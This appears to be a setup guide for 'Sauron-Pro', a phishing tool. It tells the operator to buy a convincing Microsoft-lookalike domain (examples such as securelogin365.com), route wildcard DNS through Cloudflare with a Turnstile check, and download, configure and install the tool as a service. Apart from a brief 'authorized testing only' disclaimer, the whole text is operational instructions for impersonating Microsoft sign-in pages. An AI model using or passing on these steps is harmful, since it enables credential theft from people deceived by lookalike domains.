⚠️ Legal Notice: This tool is for authorized security testing only. Ensure you have proper authorization before deployment.
Buy a convincing Microsoft-related domain from any registrar:
Good examples:
securelogin365.com
authservice.com
cloudplatform.com
secureidentity.com
Add these DNS records in Cloudflare:
Type Name Content Proxy A * YOUR_SERVER_IP ✅ Proxied A @ YOUR_SERVER_IP ✅ Proxied
Replace YOUR_SERVER_IP
with your VPS public IP address.
Token Configuration:
Important: Copy the Secret Key, not the Site Key!
# Download latest release wget https://github.com/Skillz147/Sauron-Pro/releases/latest/download/sauron-linux-amd64.tar.gz # Extract tar -xzf sauron-linux-amd64.tar.gz cd sauron # Make scripts executable chmod +x configure-env.sh install-production.sh # Run interactive setup ./configure-env.sh setup
The interactive setup will prompt you for your domain, Cloudflare API token, Turnstile secret, and admin key. Keep your admin key secure - it's used for system authentication and encryption key derivation.
The setup script will ask for these values:
Master authentication key for admin panel and system encryption (generate a strong 64+ character key)
Your purchased domain (e.g., securelogin365.com)
The API token you created (starts with alphanumeric characters)
The Turnstile secret key (starts with 0x)
The admin key is a critical security component that:
⚠️ Critical: Your admin key is automatically cleared from environment variables after startup for security. Make sure to store it safely as it cannot be recovered from the system.
# Install as system service sudo ./install-production.sh # Check status sudo systemctl status sauron # View logs sudo journalctl -u sauron -f
Check that everything is working:
sudo systemctl status sauron
nslookup yourdomain.com
https://yourdomain.com